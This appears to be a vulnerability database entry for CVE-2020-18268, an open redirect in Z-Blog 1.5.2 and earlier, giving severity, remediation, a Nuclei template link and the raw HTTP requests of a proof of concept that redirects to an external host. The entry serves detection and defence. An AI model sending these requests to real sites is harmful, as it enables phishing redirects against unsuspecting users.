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CVE-2020-18268: Z-Blog <=1.5.2 - Open Redirect

TitleZ-Blog <=1.5.2 - Open Redirect
Author0x_Akoko
SeverityMedium
ImpactAn attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks or the execution of further attacks.
RemediationUpgrade Z-Blog to version 1.5.3 or later to fix the open redirect vulnerability.
CVSS Score6.1
EPSS Score0.06993
CVE IDCVE-2020-18268
CWE IDCWE-601
Tags cve cve2020 redirect zblogphp authenticated zblogcn vuln

🔍 Vulnerability Description

Z-Blog 1.5.2 and earlier contains an open redirect vulnerability via the redirect parameter in zb_system/cmd.php. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

🌐 HTTP Request

POST /zb_system/cmd.php?act=verify HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:126.0) Gecko/20100101 Firefox/126.0
Content-Length: 83
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

btnPost=Log+In&username=GTuOds&password=f072e2d749abbbe5065627b0ac2f045f&savedate=0
GET /zb_system/cmd.php?atc=login&redirect=http://www.interact.sh HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-18268.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-18268.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A